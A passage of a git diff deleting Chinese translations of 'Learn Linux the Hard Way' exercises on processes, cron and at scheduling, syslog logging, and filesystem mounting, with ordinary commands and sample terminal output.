tty2 - 1211 tty3 Ss+ 0:00 /sbin/getty 38400 tty3 - 1212 tty4 Ss+ 0:00 /sbin/getty 38400 tty4 - 1213 tty5 Ss+ 0:00 /sbin/getty 38400 tty5 - 1214 tty6 Ss+ 0:00 /sbin/getty 38400 tty6 - 6216 tty1 Ss+ 0:00 /sbin/getty 38400 tty1 - 6671 ? Ss 0:00 sshd: user1 [priv] - 6675 ? S 0:00 sshd: user1@pts/0 - 6676 pts/0 Ss 0:00 -bash - 8198 pts/0 R+ 0:00 ps ax -user1@vm1:/etc$ ps axue --forest -USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND ---- skipped --- skipped --- skipped --- -root 1 0.0 0.0 8356 820 ? Ss Jun06 0:16 init [2] -root 297 0.0 0.0 16976 1000 ? S`(发出空指令)。 -1. 再次查询`dd`的状态。 -1. 同样,你需要按``来查看输出。 -1. 向`dd`发送终止信号,所以`dd`退出了。 -1. 为了看到它确实发生了,你需要再次按``键 。 - -## 附加题 - -+ 阅读`man ps`,`man kill`。 -+ 阅读[进程的生命周期](http://www.linux-tutorial.info/modules.php?name=MContent&pageid=84),并研究这张图片:[进程的工作流](http://www.linux-tutorial.info/Linux_Tutorial/The_Operating_System/The_Kernel/Processes/procflowa.gif)。 -+ 打印并填写[信号表](https://nixsrv.com/llthw/ex16/signals)。你可以使用 [kernel.org 中的文档](http://www.kernel.org/doc/man-pages/online/pages/man7/signal.7.html%23DESCRIPTION)。 diff --git a/docs/llthw-zh/ex17.md b/docs/llthw-zh/ex17.md deleted file mode 100644 index a2a9e40b..00000000 --- a/docs/llthw-zh/ex17.md +++ /dev/null @@ -1,213 +0,0 @@ -# 练习 17:任务调度:`cron`,`at` - -> 原文:[Exercise 17. Job schedulers: cron, at](https://archive.fo/TRJCB) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -通常我们需要按计划执行程序。例如,让我们想象一下,你需要在每天的半夜备份你的作品。为了在 Linux 中完成它,有一个叫`cron`的特殊程序。这是一个恶魔,这意味着,当计算机启动后,它就是启动了,并在后台默默等待,在时机到来时为你执行其他程序。`cron`具有多个配置文件,系统级的,或者用户级的。默认情况下,用户没有`crontab`,因为没有为它们安排任何东西。这是`cron`配置文件的位置: - -`/etc/crontab` - 系统级`cron`配置文件。 -`/var/spool/cron/crontabs/` - 用于存储用户配置文件的目录。 - -现在我们来谈谈`cron`配置文件的格式。如果你运行`cat /etc/crontab`,你将看到: - -``` -# /etc/crontab: system-wide crontab -# Unlike any other crontab you don't have to run the `crontab' -# command to install the new version when you edit this file -# and files in /etc/cron.d. These files also have username fields, -# that none of the other crontabs do. - -SHELL=/bin/sh -PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin - -# m h dom mon dow user command -17 * * * * root cd / && run-parts --report /etc/cron.hourly -25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) -47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) -52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) -# -``` - -它的语法足够简单,让我们选取一行: - -``` -47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly -``` - -然后拆开: - -``` -17 # 每个小时的第 17 个分钟 -* # 月中的每一天 -* # 年中的每一月 -* # 每个星期 -root # 作为 root 用户 -cd / # 执行命令 'cd /' -&& # 如果 'cd /' 执行成功,那么 -run-parts --report /etc/cron.hourly # 执行命令 'run-parts --report /etc/cron.hourly' -``` - -现在我总结`cron`的格式: - -``` -* * * * * <用户> <要执行的命令> -T T T T T (仅仅用于系统 -| | | | | 的 crontab) -| | | | | -| | | | +----- 星期几 (0 - 6) (0 是星期天, 或者使用名称) -| | | +---------- 月份 (1 - 12) -| | +--------------- 天 (1 - 31) -| +-------------------- 小时 (0 - 23) -+------------------------- 分钟 (0 - 59) -``` - -这是时间格式中,可能的字符的缩略列表: - -+ 星号(`*`) - 字段中的所有值,例如 分钟的`*`表示每分钟。 -+ 斜线(`/`) - 定义范围的增量。例如,`30-40/3`意味着在第 30 分钟运行程序,每 3 分钟一次,直到第 40 分钟。 -+ 百分比(`%`) - 在命令字段中,百分比后的所有数据将作为标准输入发送到命令。现在不要纠结这个。 -+ 逗号(`,`) - 指定列表,例如分钟字段的`30,40`表示第 30 和 40 `分钟。 -+ 连字(`-`) - 范围。例如,分钟字段的`30-40`意味着每分钟在30到40分钟之间。 -+ `L` - 指定最后一个东西,例如它允许你指定一个月的最后一天。 - -现在我会给你一些例子: - -``` -# m h dom mon dow user command -# (每月每天每小时)每分钟 -* * * * * root /bin/false -# (每月每天)每小时的第 30~40 分钟中的每分钟 -30-40 * * * * root /bin/false -# (每月每天)每小时的第 30~40 分钟中的每五分钟 -30-40/5 * * * * root /bin/false -# (每月每天每小时)每五分钟 -*/5 * * * * user command to be executed -# 每月的最后一天的每小时每分钟 -* * L * * root /bin/false -# 每月的星期天和星期三的每小时每分钟 -* * * * 0,3 root /bin/false -``` - -好的,但是如何加载`crontab`?这是`cron`命令的列表: - -+ `crontab -l` - 打印出当前的`crontab`。 -+ `crontab -e` - 为当前用户编辑`crontab`。 -+ `crontab -r` - 删除当前用户的`crontab`。 -+ `crontab /path/to/file` - 为当前用户加载`crontab`,覆盖过程中的现有项。 -+ `crontab > /path/to/file` - 将`crontab`保存到文件中。 - -这就是如何使用`cron`系统守护进程。但是还有一个可以调度程序执行的选项。它就是`at`工具。它们之间的区别是,`cron`为重复运行任务而设计,而且是很多次,并且`at`为调度一次性的任务而设计。这是相关的命令: - - -+ `at` - 在指定的时间执行命令。 -+ `atq` - 列出待处理的任务。 -+ `atrm` - 删除任务。 -+ `batch` - 执行命令,然后系统空转。 - -这个信息转储似乎不够,现在我会给你用于`at`的,时间规范表格,取自 。在下面的例子中,假定的当前日期和时间是 2001 年 9 月 18 日星期二上午 10:00。 - -| 示例 | 含义 | -| --- | --- | -| at noon | 2001 年 9 月 18 日星期二下午 12:00 | -| at midnight | 2001 年 9 月 18 日星期二上午 12:00 | -| at teatime | 2001 年 9 月 18 日星期二下午 4:00 | -| at tomorrow | 2001 年 9 月 19 日星期二上午 10:00 | -| at noon tomorrow | 2001 年 9 月 19 日星期二下午 12:00 | -| at next week | 2001 年 9 月 25 日星期二上午 10:00 | -| at next monday | 2001 年 9 月 24 日星期二上午 10:00 | -| at fri | 2001 年 9 月 21 日星期二上午 10:00 | -| at OCT | 2001 年 10 月 18 日星期二上午 10:00 | -| at 9:00 AM | 2001 年 9 月 18 日星期二上午 9:00 | -| at 2:30 PM | 2001 年 9 月 18 日星期二下午 2:30 | -| at 1430 | 2001 年 9 月 18 日星期二下午 2:30 | -| at 2:30 PM tomorrow | 2001 年 9 月 19 日星期二下午 2:30 | -| at 2:30 PM next month | 2001 年 10 月 18 日星期二下午 2:00 | -| at 2:30 PM Fri | 2001 年 9 月 21 日星期二下午 2:30 | -| at 2:30 PM 9/21 | 2001 年 9 月 21 日星期二下午 2:30 | -| at 2:30 PM Sept 21 | 2001 年 9 月 21 日星期二下午 2:30 | -| at 2:30 PM 9/21/2010 | 2001 年 9 月 21 日星期二下午 2:30 | -| at 2:30 PM 9.21.10 | 2001 年 9 月 21 日星期二下午 2:30 | -| at now + 30 minutes | 2001 年 9 月 18 日星期二上午 10:30 | -| at now + 1 hour | 2001 年 9 月 18 日星期二上午 11:00 | -| at now + 2 days | 2001 年 9 月 20 日星期二上午 10:00 | -| at 4 PM + 2 days | 2001 年 9 月 20 日星期二下午 4:00 | -| at now + 3 weeks | 2001 年 10 月 9 日星期二上午 10:00 | -| at now + 4 months | 2002 年 1 月 18 日星期二上午 10:00 | -| at now + 5 years | 2007 年 9 月 18 日星期二上午 10:00 | - -现在你将学习如何添加、查看和移除`at`和`crontab`任务。 - -## 这样做 - -``` -1: echo 'echo Here I am, sitting in ur at, staring at ur date: $(date) | write user1' | at now + 1 minutes -2: atq -``` - -等待你的消息出现,按下``并输入更多东西: - -``` -3: echo '* * * * * echo Here I am, sitting in ur crontab, staring at ur date: $(date) | write user1' > ~/crontab.tmp -4: crontab -l -5: crontab ~/crontab.tmp -6: crontab -l -``` - -现在等待这个消息出现并移除它。 - -``` -7: crontab -r -8: crontab -l -``` - -## 你会看到什么 - -``` -user1@vm1:~$ echo 'echo Here I am, sitting in ur at, staring at ur date: $(date) | write user1' | at now + 1 minutes -warning: commands will be executed using /bin/sh -job 13 at Thu Jun 28 14:43:00 2012 -user1@vm1:~$ atq -14 Thu Jun 28 14:45:00 2012 a user1 -user1@vm1:~$ -Message from user1@vm1 on (none) at 14:43 ... -Here I am, sitting in ur at, staring at ur date: Thu Jun 28 14:43:00 MSK 2012 -EOF - -user1@vm1:~$ crontab -l -no crontab for user1 -user1@vm1:~$ echo '* * * * * echo Here I am, sitting in ur crontab, staring at ur date: $(date) | write user1' > ~/crontab.tmp -user1@vm1:~$ crontab -l -* * * * * echo Here I am, sitting in ur crontab, staring at ur date: $(date) | write user1 -user1@vm1:~$ -Message from user1@vm1 on (none) at 14:47 ... -Here I am, sitting in ur crontab, staring at ur date: Thu Jun 28 14:47:01 MSK 2012 -EOF - -user1@vm1:~$ crontab -r -user1@vm1:~$ crontab -l -no crontab for user1 -user1@vm1:~$ -``` - -## 解释 - - -1. 让`at`在下一分钟执行命令`echo Here I am, sitting in ur at, staring at ur date: $(date) | write user1`。 -1. 打印`at`的任务队列。 -1. 将`echo '* * * * * echo Here I am, sitting in ur crontab, staring at ur date: $(date) | write user1 `写入你的主目录中的`crontab.tmp`。 -1. 打印你当前的`crontab`,但目前没有东西,所以它只是把这个告诉你。 -1. 将`crontab.tmp`的内容加载到你的个人`crontab`文件。 -1. 打印你当前的`crontab`。现在有一些东西。 -1. 删除你当前的`crontab`。 -1. 告诉你,你再次没有了`crontab`。 - -## 附加题 - -+ 阅读`man crontab`, `man at`, `man write`。 -+ 让你的系统每 5 分钟告诉你当前时间。 -+ 让你的系统在每小时的开始告诉你当前时间。 diff --git a/docs/llthw-zh/ex18.md b/docs/llthw-zh/ex18.md deleted file mode 100644 index b267e4ad..00000000 --- a/docs/llthw-zh/ex18.md +++ /dev/null @@ -1,300 +0,0 @@ -# 练习 18:日志:`/var/log`,`rsyslog`,`logger` - -> 原文:[Exercise 18. Logging, /var/log, rsyslog, logger](https://archive.fo/xmofk) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -守护进程是在后台运行的程序。所以问题来了:他们怎么告诉你他们在做什么?他们如何告诉你有什么问题?这个问题是由日志文件解决的,其中守护进程写入其状态和操作。在 Debian 中,这个文件位于`/var/log`目录下。 - -但谁写入这些文件?最明显的答案是守护进程本身,这实际上往往是错误的。在某些情况下,守护程序确实会自己编写日志文件,但通常它们通过名为`rsyslogd`的守护程序(称为 日志记录守护程序)来实现。它将日志写入不同的文件,来简化搜索和分析。为了区分这个文件,它有一个概念叫做“设施”。这是标准设施的列表: - -| 设施 | 设施说明 | 设施 | 设施说明 | -| --- | --- | --- | --- | -| auth | 授权相关消息 | LOCAL0 | 本地使用 0 | -| authPriv | 敏感的安全信息 | LOCAL1 | 本地使用1 | -| cron | Cron信息 | local2 | 本地使用 2 | -| daemon | 系统守护程序 | local3 | 本地使用 3 | -| ftp | FTP 守护消息 | local4 | 本地使用 4 | -| kern | 内核消息 | local5 | 本地使用 5 | -| lpr | 行式打印机子系统 | local6 | 当地使用 6 | -| mail | 邮件子系统 | local7 | 当地使用 7 | -| news | 新闻子系统 | | | -| security | auth 的过时名称 | | | -| syslog | 由 syslogd 内部生成的消息 | | | -| user | | | | -| uucp | UUCP 子系统 | | | - -每个条目也标记有严重性状态,以便分析发生了什么: - -| 代码名称 | 严重性 | 描述 | 一般说明 | -| --- | --- | --- | --- | -| alert | 警报 | 必须立即采取行动。 | 应立即纠正,因此通知可以解决问题的人员。一个例子是丢失备用 ISP 连接。 | -| crit | 严重 | 严重情况。 | 应立即纠正,但表示主系统出现故障,一个例子就是主 ISP 连接的丢失 。 | -| debug | 调试 | 调试级别消息。 | 信息对开发人员有用,用于调试应用程序,在操作期间无用。 | -| emerg | 紧急 | 系统不可用 | 通常影响多个应用程序/服务器/站点的“紧急”状态。在这个级别,通常会通知所有技术人员。 | -| err | 错误 | 错误情况。 | 非紧急故障,应转发给开发人员或管理员;每个项目必须在给定的时间内解决。 | -| error | 错误 | err 的弃用名称 | --- | -| info | 信息 | 信息消息 | 正常操作的信息 - 可以用于收集报告,测量吞吐量等 - 无需采取任何行动。 | -| notice | 注意 | 正常但重要的状况。 | 不正常但不是错误情况的事件,可能汇总为邮件发给开发者或者管理员,来定位潜在问题 - 不需要立即采取行动。 | -| panic | 紧急 | emerg 的弃用名称 | --- | -| warning | 警告 | 警告情况。 | 警告消息,而不是错误,但表示如果不采取行动,将发生错误,例如文件系统 85% 占满 - 每个条目必须在给定时间内解决。 | -| warn | 警告 | warning 的弃用名称 | --- | - -因为如果日志文件留给自己,它们往往会变得非常大,并且消耗所有可用的磁盘空间,所以有一种称为轮替的机制。默认情况下,这种机制通常只保留最后 7 天的日志文件,包括今天。轮替由`logrotate`守护进程执行,来帮助你了解这个守护进程做了什么。我为你将其写出来: - -``` -Day 0 - log.0 is created -Day 1 - mv log.0 log.1 - log.0 is created -Day 2 - mv log.1 log.2 - mv log.0 log.1 - log.0 is created -Day 3 - mv log.2 log.3 - mv log.1 log.2 - mv log.0 log.1 - log.0 is created -Day 4 - mv log.3 log.4 - mv log.2 log.3 - mv log.1 log.2 - mv log.0 log.1 - log.0 is created -Day 5 - mv log.4 log.5 - mv log.3 log.4 - mv log.2 log.3 - mv log.1 log.2 - mv log.0 log.1 - log.0 is created -Day 6 - mv log.5 log.6 - mv log.4 log.5 - mv log.3 log.4 - mv log.2 log.3 - mv log.1 log.2 - mv log.0 log.1 - log.0 is created -Day 7 - rm log.6 - mv log.5 log.6 - mv log.4 log.5 - mv log.3 log.4 - mv log.2 log.3 - mv log.1 log.2 - mv log.0 log.1 - log.0 is created -``` - -让我重复一下: - -+ 日志是一个记录时间的过程,使用自动化的计算机程序,来提供审计跟踪,可用于了解系统活动和诊断问题。 -+ 日志守护程序是程序,其他程序可能要求它在日志文件中写入内容。 -+ 每个日志条目具有设施(日志类别)和严重性 (它是多么重要)属性。 -+ 轮替是一个过程,仅保留有限数量的日志文件,来避免填满磁盘。 -+ 在 Debian 中,日志文件通常位于`/var/log`目录中。 - -这是处理日志的有用命令(要记住打开相关的手册页,并找出有什么选项): - -+ `logger Hello, I have a kitty!` - 编写一个自定义日志消息。 -+ `ls -altr /var/log` - 列出日志目录,以这样一种方式,最后修改的文件到最后。 -+ `grep user1 /var/log/auth.log` - 列出文件中包含`user1`的所有行。 -+ `grep -irl user1 /var/log` - 列出所有包含`user1`的文件 。 -+ `find /var/log -mmin -10` - 找到在过去 10 分钟内被修改的任何文件。 -+ `tail /var/log/auth.log` - 打印日志文件的最后 10 行。 -+ `tail -f /var/log/auth.log` - 实时跟踪日志文件。配置守护进程时非常有用。 - -现在你将学习如何查看日志,并将一些东西写入系统日志。 - -## 这样做 - -``` - 1: sudo -s - 2: cd /var/log - 3: ls -altr | tail - 4: tail auth.log - 5: grep user1 auth.log | tail - 6: /etc/init.d/exim4 restart - 7: find /var/log -mmin -5 - 8: tail /var/log/exim4/mainlog - 9: grep -irl rcconf . -10: tail ./dpkg.log -11: last -12: lastlog -13: logger local0.alert I am a kitty, sittin in ur system watchin u work ^^ -14: ls -altr | tail -15: tail messages -``` - -## 你会看到什么 - -``` -user1@vm1:~$ sudo -s -root@vm1:/home/user1# cd /var/log -root@vm1:/var/log# ls -altr | tail --rw-r----- 1 root adm 46955 Jun 29 12:28 messages --rw-r----- 1 root adm 19744 Jun 29 12:28 dmesg --rw-r----- 1 root adm 696 Jun 29 12:28 daemon.log -drwxr-xr-x 7 root root 4096 Jun 29 12:28 . --rw-r----- 1 root adm 60738 Jun 29 12:28 syslog --rw-r----- 1 root adm 58158 Jun 29 12:28 kern.log --rw-r----- 1 root adm 12652 Jun 29 12:28 debug --rw-rw-r-- 1 root utmp 75264 Jun 29 12:28 wtmp --rw-rw-r-- 1 root utmp 292584 Jun 29 12:28 lastlog --rw-r----- 1 root adm 38790 Jun 29 12:40 auth.log -root@vm1:/var/log# tail auth.log -Jun 29 12:28:22 vm1 sshd[983]: Server listening on 0.0.0.0 port 22. -Jun 29 12:28:22 vm1 sshd[983]: Server listening on :: port 22. -Jun 29 12:28:44 vm1 sshd[1214]: Accepted password for user1 from 194.85.195.183 port 53775 ssh2 -Jun 29 12:28:44 vm1 sshd[1214]: pam_unix(sshd:session): session opened for user user1 by (uid=0) -Jun 29 12:30:49 vm1 sudo: user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/bin/bash -Jun 29 12:30:53 vm1 login[1260]: pam_securetty(login:auth): unexpected response from failed conversation function -Jun 29 12:30:53 vm1 login[1260]: pam_securetty(login:auth): cannot determine username -Jun 29 12:35:08 vm1 sudo: user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/bin/bash -Jun 29 12:35:14 vm1 sudo: user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/bin/bash -Jun 29 12:40:32 vm1 sudo: user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/bin/bash -root@vm1:/var/log# tail auth.log | grep user1 -Jun 29 12:28:44 vm1 sshd[1214]: Accepted password for user1 from 194.85.195.183 port 53775 ssh2 -Jun 29 12:28:44 vm1 sshd[1214]: pam_unix(sshd:session): session opened for user user1 by (uid=0) -Jun 29 12:30:49 vm1 sudo: user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/bin/bash -Jun 29 12:35:08 vm1 sudo: user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/bin/bash -Jun 29 12:35:14 vm1 sudo: user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/bin/bash -Jun 29 12:40:32 vm1 sudo: user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/bin/bash -root@vm1:/var/log# grep user1 auth.log | tail -Jun 29 12:26:33 vm1 sshd[1302]: Accepted password for user1 from 194.85.195.183 port 53008 ssh2 -Jun 29 12:26:33 vm1 sshd[1302]: pam_unix(sshd:session): session opened for user user1 by (uid=0) -Jun 29 12:26:38 vm1 sudo: user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/bin/bash -Jun 29 12:28:02 vm1 sshd[1302]: pam_unix(sshd:session): session closed for user user1 -Jun 29 12:28:44 vm1 sshd[1214]: Accepted password for user1 from 194.85.195.183 port 53775 ssh2 -Jun 29 12:28:44 vm1 sshd[1214]: pam_unix(sshd:session): session opened for user user1 by (uid=0) -Jun 29 12:30:49 vm1 sudo: user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/bin/bash -Jun 29 12:35:08 vm1 sudo: user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/bin/bash -Jun 29 12:35:14 vm1 sudo: user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/bin/bash -Jun 29 12:40:32 vm1 sudo: user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/bin/bash -root@vm1:/home/user1# /etc/init.d/exim4 restart -Stopping MTA for restart: exim4_listener. -Restarting MTA: exim4. -root@vm1:/home/user1# find /var/log -mmin -5 -/var/log/exim4/mainlog -/var/log/auth.log -root@vm1:/home/user1# tail /var/log/exim4/mainlog -2012-06-29 12:24:11 exim 4.72 daemon started: pid=1159, -q30m, listening for SMTP on [127.0.0.1]:25 [::1]:25 -2012-06-29 12:24:11 Start queue run: pid=1165 -2012-06-29 12:24:11 End queue run: pid=1165 -2012-06-29 12:28:22 exim 4.72 daemon started: pid=1190, -q30m, listening for SMTP on [127.0.0.1]:25 [::1]:25 -2012-06-29 12:28:22 Start queue run: pid=1196 -2012-06-29 12:28:22 End queue run: pid=1196 -2012-06-29 12:41:18 exim 4.72 daemon started: pid=1622, -q30m, listening for SMTP on [127.0.0.1]:25 [::1]:25 -2012-06-29 12:41:18 Start queue run: pid=1624 -2012-06-29 12:41:18 End queue run: pid=1624 -2012-06-29 12:42:28 exim 4.72 daemon started: pid=1886, -q30m, listening for SMTP on [127.0.0.1]:25 [::1]:25 -root@vm1:/home/user1# grep -irl rcconf . -./aptitude -./apt/history.log -./apt/term.log -./dpkg.log -./auth.log -root@vm1:/home/user1# tail ./dpkg.log -2012-06-26 19:27:40 status unpacked rcconf 2.5 -2012-06-26 19:27:40 status unpacked rcconf 2.5 -2012-06-26 19:27:40 trigproc man-db 2.5.7-8 2.5.7-8 -2012-06-26 19:27:40 status half-configured man-db 2.5.7-8 -2012-06-26 19:27:40 status installed man-db 2.5.7-8 -2012-06-26 19:27:41 startup packages configure -2012-06-26 19:27:41 configure rcconf 2.5 2.5 -2012-06-26 19:27:41 status unpacked rcconf 2.5 -2012-06-26 19:27:41 status half-configured rcconf 2.5 -2012-06-26 19:27:41 status installed rcconf 2.5 -root@vm1:/var/log# last -user1 pts/0 sis.site Fri Jun 29 12:26 still logged in -user1 pts/0 sis.site Fri Jun 29 12:14 - down (00:09) -user1 pts/0 sis.site Thu Jun 28 19:40 - 11:25 (15:45) -user1 pts/0 sis.site Wed Jun 27 19:14 - 17:04 (21:50) -user1 pts/0 sis.site Tue Jun 26 13:54 - 18:18 (1+04:23) -user1 pts/0 sis.site Thu Jun 21 15:23 - 13:11 (4+21:47) -user1 pts/0 sis.site Fri Jun 15 19:34 - 12:01 (5+16:26) -user1 pts/0 sis.site Fri Jun 15 19:11 - 19:34 (00:22) -reboot system boot 2.6.32-5-amd64 Fri Jun 29 12:24 - 12:26 (00:02) -user1 pts/0 sis.site Fri Jun 29 12:14 - down (00:09) -root@vm1:/var/log# lastlog -Username Port From Latest -root **Never logged in** -daemon **Never logged in** -bin **Never logged in** -sys **Never logged in** -sync **Never logged in** -games **Never logged in** -man **Never logged in** -lp **Never logged in** -mail **Never logged in** -news **Never logged in** -uucp **Never logged in** -proxy **Never logged in** -www-data **Never logged in** -backup **Never logged in** -list **Never logged in** -irc **Never logged in** -gnats **Never logged in** -nobody **Never logged in** -libuuid **Never logged in** -Debian-exim **Never logged in** -statd **Never logged in** -sshd **Never logged in** -user1 pts/0 sis.site Fri Jun 29 12:28:45 +0400 2012 -root@vm1:/var/log# logger local0.alert I am a kitty, sittin in ur system watchin u work ^^ -root@vm1:/var/log# ls -altr | tail --rw-r----- 1 root adm 696 Jun 29 12:28 daemon.log -drwxr-xr-x 7 root root 4096 Jun 29 12:28 . --rw-r----- 1 root adm 58158 Jun 29 12:28 kern.log --rw-r----- 1 root adm 12652 Jun 29 12:28 debug --rw-rw-r-- 1 root utmp 75264 Jun 29 12:28 wtmp --rw-rw-r-- 1 root utmp 292584 Jun 29 12:28 lastlog --rw-r----- 1 root adm 38971 Jun 29 13:17 auth.log --rw-r----- 1 root adm 229 Jun 29 13:19 user.log --rw-r----- 1 root adm 60932 Jun 29 13:19 syslog --rw-r----- 1 root adm 47047 Jun 29 13:19 messages -root@vm1:/var/log# tail messages -Jun 29 12:28:21 vm1 kernel: [ 1.846975] processor LNXCPU:00: registered as cooling_device0 -Jun 29 12:28:21 vm1 kernel: [ 1.868828] usbcore: registered new interface driver hiddev -Jun 29 12:28:21 vm1 kernel: [ 1.895676] input: QEMU 0.14.1 QEMU USB Tablet as /devices/pci0000:00/0000:00:01.2/usb1/1-1/1-1:1.0/input/input4 -Jun 29 12:28:21 vm1 kernel: [ 1.895743] generic-usb 0003:0627:0001.0001: input,hidraw0: USB HID v0.01 Pointer [QEMU 0.14.1 QEMU USB Tablet] on usb-0000:00:01.2-1/input0 -Jun 29 12:28:21 vm1 kernel: [ 1.895762] usbcore: registered new interface driver usbhid -Jun 29 12:28:21 vm1 kernel: [ 1.895765] usbhid: v2.6:USB HID core driver -Jun 29 12:28:21 vm1 kernel: [ 2.373061] EXT3 FS on vda1, internal journal -Jun 29 12:28:21 vm1 kernel: [ 2.394992] loop: module loaded -Jun 29 12:28:21 vm1 kernel: [ 2.413478] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input5 -Jun 29 13:19:11 vm1 user1: local0.alert I am a kitty, sittin in ur system watchin u work ^^ -root@vm1:/var/log# -``` - -## 解释 - -+ 打开 root (超级用户)shell。这是因为作为`user1`工作时,出于安全的考虑,你不能读取所有日志文件。 -+ 将目录更改为`/var/log`。 -+ 按日期排序打印所有文件,最后修改的文件在底部。 -+ 从`auth.log`打印最后 10 行,包含登录系统的信息。 -+ 从`auth.log`打印包含`user1`的最后 10 行。 -+ 重启`exim4`邮件服务器。 -+ 打印最近 5 分钟内的文件更改。现在,你可以轻松找到`exim4`在哪个文件中 记录其操作。 -+ 从`exim4`日志打印出最后 10 行 。 -+ 在当前目录中的所有文件 搜索`rcconf`。现在,你可以轻松找到 Debian 包系统记录其操作的位置。 -+ 从`dpkg.log`打印最后 10 行,含有软件包安装和删除信息。 -+ 打印用户最后登录的信息。 -+ 打印所有用户最近登录的信息。 -+ 将你的消息传递给`rsyslogd`守护程序。 -+ 按日期排序打印所有文件,最后修改的文件位于底部。现在你可能会看到这里就是你的消息。 -+ 从消息中打印出最后10行,你可以看到你的消息确实已记录。 - -## 附加题 - -阅读`rsyslogd`和`logger`的手册页。 -通过阅读相应的手册页,找出`last`和`lastlog`之间的区别。 -阅读`logrotate`手册页并记住它的存在。 -执行`tail -f /var/log/auth.log`,并生成`vm1`的第二个连接(如果你在 Windows 上工作,则为 putty)。不错吧? diff --git a/docs/llthw-zh/ex19.md b/docs/llthw-zh/ex19.md deleted file mode 100644 index 368a08df..00000000 --- a/docs/llthw-zh/ex19.md +++ /dev/null @@ -1,225 +0,0 @@ -# 练习 19:文件系统:挂载,`mount`,`/etc/fstab` - -> 原文:[Exercise 19. Filesystems: mounting, mount, /etc/fstab](https://archive.fo/9OnRm) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -我希望你熟悉分区的概念。如果没有,我会简要介绍一下。首先引用自维基百科: - -> 磁盘分区是一种行为,将硬盘驱动器分为多个逻辑存储单元,它们被称为分区,来将一个物理磁盘驱动器视为多个磁盘。 - -看一看: - -``` -user1@vm1:~$ sudo parted /dev/vda -GNU Parted 2.3 -Using /dev/vda -Welcome to GNU Parted! Type 'help' to view a list of commands. -(parted) unit GB -(parted) p -Model: Virtio Block Device (virtblk) -Disk /dev/vda: 17.2GB -Sector size (logical/physical): 512B/512B -Partition Table: msdos - -Number Start End Size Type File system Flags - 1 0.00GB 13.3GB 13.3GB extended - 5 0.00GB 1.02GB 1.02GB logical ext3 boot - 6 1.03GB 2.05GB 1.02GB logical linux-swap(v1) - 7 2.05GB 3.07GB 1.02GB logical ext3 - 8 3.07GB 5.12GB 2.05GB logical ext3 - 9 5.12GB 9.22GB 4.09GB logical ext3 -10 9.22GB 13.3GB 4.09GB logical ext3 - -(parted) -``` - -这是一个物理硬盘,分为 7 个不同的分区。这样做的原因很多,但最好被理解为“分治”原则的应用。以这种方式分割时,流氓程序不能通过占用所有磁盘空间,使整个服务器崩溃,该程序将限制在其分区中。我不会再谈论磁盘分区,但是我会继续关注文件系统,再次引用[维基百科](http://en.wikipedia.org/wiki/File_system): - -> 文件系统是一种组织数据的手段。通过提供存储,检索和更新数据的过程,以及管理包含它的设备上的可用空间,数据预期在程序终止后保留。文件系统以有效的方式组织数据,并根据设备的特定特性进行调整。在操作系统和文件系统之间,通常存在紧耦合。一些文件系统提供了机制来控制数据和元数据的访问。确保可靠性是文件系统的主要职责。一些文件系统允许多个程序几乎同时更新同一个文件。 - -> 类 Unix 操作系统创建一个虚拟文件系统,这使得所有设备上的所有文件似乎都存在于单个层次结构中。这意味着,在这些系统中,有一个根目录,系统上存在的每个文件位于它下方的某个地方。类 Unix 系统可以使用 RAM 磁盘或网络共享资源作为其根目录。 - -这意味着,所有文件系统都集成在一个大树中。对于熟悉 Microsoft Windows 的人来说,这意味着比起`C:\`和`D:\`等盘符,这种命名方案有一个单独的根,`/`,所有其他分区都连接到它上面。将文件系统连接到现有目录的过程称为挂载。连接文件系统的目录称为挂载点。同样,看一看: - -``` -user1@vm1:~$ mount -/dev/vda5 on / type ext3 (rw,errors=remount-ro) -tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755) -proc on /proc type proc (rw,noexec,nosuid,nodev) -sysfs on /sys type sysfs (rw,noexec,nosuid,nodev) -udev on /dev type tmpfs (rw,mode=0755) -tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev) -devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620) -/dev/vda10 on /home type ext3 (rw) -/dev/vda7 on /tmp type ext3 (rw) -/dev/vda9 on /usr type ext3 (rw) -/dev/vda8 on /var type ext3 (rw) -``` - -这是我之前展示给你的相同分区,你可以在这个列表中看到挂载点。不以`/dev/vda`开头的是虚拟文件系统,它允许访问不同的系统设施,但它们和此练习无关。现在我们来看看`/etc/fstab`文件: - -``` -user1@vm1:~$ cat /etc/fstab -# 